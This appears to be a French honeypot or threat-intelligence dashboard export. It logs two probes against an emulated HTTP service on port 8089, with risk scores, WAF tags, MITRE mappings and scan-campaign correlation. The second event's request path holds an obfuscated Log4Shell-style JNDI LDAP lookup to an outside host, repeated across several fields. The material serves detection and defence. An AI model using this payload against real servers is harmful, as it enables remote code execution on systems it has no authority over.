POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8089
Chemin / cible
/login
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +24
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8089
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Int
Requête brute (extrait)
POST /login HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8089 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Type: application/json Cont
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "06b11278b3d8c06d12bf6f74085c2806fc07bb05",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 1832,
"payload_entropy": 5.0817084437477025,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8089,
"risk_waf": 100,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 7.4,
"risk_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "51177abd4e216a392696adac7493062c9748122c",
"event_fingerprint": "22368ec161a8937c7a5dc4efd4b7fd90b08e8bfc",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 24
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "c66381563d79fc169b5fb4f8244ddc31",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8089,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nCont",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nCont",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "107357bec3ed242b3b0c5f66dc85624f9367e052",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/login",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 24
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8089,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"campagne_ports",
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +24",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +24 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8089"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 6,
"port_scan_ports_sample": [
7005,
8083,
8084,
8087,
8089,
8090
],
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"splunk"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"port_scan_campaign",
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 24,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"http_ssti",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:27 UTC
TCP
8089 · HTTP
Scan de ports
port scan syn · via HTTP:8089 · (reconnaissance) · → /${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj…
Élevée
Élevé · 69
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Scan coordonné
Multi-protocole corrélé (5 min)
Protocole
PUT /${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}$… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
PUT
/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-/}${6:-/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}${qfm:-c}${uhjv:ak:d:--}${${s6ku:p:-s}${d:gz:-y}${glk:-s}${u7f:p:2cmk:-:}${r5w0:se3:gse:-j}${3ds4:-a}${uf5c:zy:fk:-v}${6zs0:n:-a}${z:0vr:ydzw:-.}${wae:dx6p:uin:-v}${ruo:efwj:-e}${kz:ez:-r}${d9ha:4:jn:-s}${36:2:75:-i}${od:-o}${j:chm:tbq:-n}}${w:yo4:-.}${g:-5}${p:-5}${l02:7onl:ko4:-7}${y:0u:6:-4}${wk3:yjtd:-3}${x5:-3}$
TLS SNI
—
Capteur
paris-1
Méthode
PUT
Port
8089
Chemin / cible
/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-/}${6:-/}${a:9lb2:-P}${…
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +24
Risque capteur
Élevé
· 69
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
CRS 933135
Ligne de requête
PUT /${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-/}${6:-/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}${qfm:-c}${uhjv:ak:d:--}${${s6ku:p:-s}${d:gz:-y}${glk:-s}${u7f:p:2cmk:-:}${r5w0:se3:gse:-j}${3ds4:-a}${uf5c:zy:fk:-v}${6zs0:n:-a}${z:0vr:ydzw:-.}${wae:dx6p:uin:-v}${ruo:efwj:-e}${kz:ez:-r}${d9ha:4:jn:-s}${36:2:75:-i}${od:-o}${j:chm:tbq:-n}}${w:yo4:-.}${g:-5}${p:-5}${l02:7onl:ko4:-7}${y:0u:6:-4}${wk3:yjtd:-3}${x5:
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
PUT /${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1
Requête brute (extrait)
PUT /${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-/}${6:-/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}${qfm:-c}${uhjv:ak:d:--}${${s6ku:p:-s}${d:gz:-y}${glk:-s}$
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${av:lmc5:p:-g}${8:o:-o}${s:-o}${k:-g}}",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "06b11278b3d8c06d12bf6f74085c2806fc07bb05",
"http_target_hash": "dc413d06e6f6346c85c4e3d92aa541e1cacdd63e",
"http_referer_hash": null,
"http_method": "PUT",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.884222878958235,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8089,
"risk_waf": 100,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 7.6,
"risk_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 69,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "933524e71cf61a552cc2c16687bf4e3c8eec9583",
"event_fingerprint": "13583ec592fb45fa8427488a6e3fd03ed1d177fe",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69,
"correlation_boost": 24
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "b86a29f48110c9c69ba6059f7b2b0024",
"path_pattern_hash": "64b9aa26e0ada27df86ff1d5715aa229"
},
"target_context": {
"dst_port": 8089,
"service": "http",
"service_name": "http",
"risk_score": 69
},
"method": "PUT",
"path": "\/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}${qfm:-c}${uhjv:ak:d:--}${${s6ku:p:-s}${d:gz:-y}${glk:-s}${u7f:p:2cmk:-:}${r5w0:se3:gse:-j}${3ds4:-a}${uf5c:zy:fk:-v}${6zs0:n:-a}${z:0vr:ydzw:-.}${wae:dx6p:uin:-v}${ruo:efwj:-e}${kz:ez:-r}${d9ha:4:jn:-s}${36:2:75:-i}${od:-o}${j:chm:tbq:-n}}${w:yo4:-.}${g:-5}${p:-5}${l02:7onl:ko4:-7}${y:0u:6:-4}${wk3:yjtd:-3}${x5:-3}$",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}${qfm:-c}${uhjv:ak:d:--}${${s6ku:p:-s}${d:gz:-y}${glk:-s}${u7f:p:2cmk:-:}${r5w0:se3:gse:-j}${3ds4:-a}${uf5c:zy:fk:-v}${6zs0:n:-a}${z:0vr:ydzw:-.}${wae:dx6p:uin:-v}${ruo:efwj:-e}${kz:ez:-r}${d9ha:4:jn:-s}${36:2:75:-i}${od:-o}${j:chm:tbq:-n}}${w:yo4:-.}${g:-5}${p:-5}${l02:7onl:ko4:-7}${y:0u:6:-4}${wk3:yjtd:-3}${x5:",
"payload_snippet": "PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1",
"evidence": {
"method": "PUT",
"path": "\/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}${qfm:-c}${uhjv:ak:d:--}${${s6ku:p:-s}${d:gz:-y}${glk:-s}${u7f:p:2cmk:-:}${r5w0:se3:gse:-j}${3ds4:-a}${uf5c:zy:fk:-v}${6zs0:n:-a}${z:0vr:ydzw:-.}${wae:dx6p:uin:-v}${ruo:efwj:-e}${kz:ez:-r}${d9ha:4:jn:-s}${36:2:75:-i}${od:-o}${j:chm:tbq:-n}}${w:yo4:-.}${g:-5}${p:-5}${l02:7onl:ko4:-7}${y:0u:6:-4}${wk3:yjtd:-3}${x5:-3}$",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}${qfm:-c}${uhjv:ak:d:--}${${s6ku:p:-s}${d:gz:-y}${glk:-s}${u7f:p:2cmk:-:}${r5w0:se3:gse:-j}${3ds4:-a}${uf5c:zy:fk:-v}${6zs0:n:-a}${z:0vr:ydzw:-.}${wae:dx6p:uin:-v}${ruo:efwj:-e}${kz:ez:-r}${d9ha:4:jn:-s}${36:2:75:-i}${od:-o}${j:chm:tbq:-n}}${w:yo4:-.}${g:-5}${p:-5}${l02:7onl:ko4:-7}${y:0u:6:-4}${wk3:yjtd:-3}${x5:",
"request_sample": "PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}${qfm:-c}${uhjv:ak:d:--}${${s6ku:p:-s}${d:gz:-y}${glk:-s}$",
"payload_snippet": "PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "e7cdc292111d98005349e0374a5548be51a54d55",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${\u2026",
"request_line": "PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}$\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1",
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj\u2026",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69,
"correlation_boost": 24
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 69,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8089,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"campagne_ports",
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +24",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${\u2026",
"request_line": "PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}$\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj\u2026",
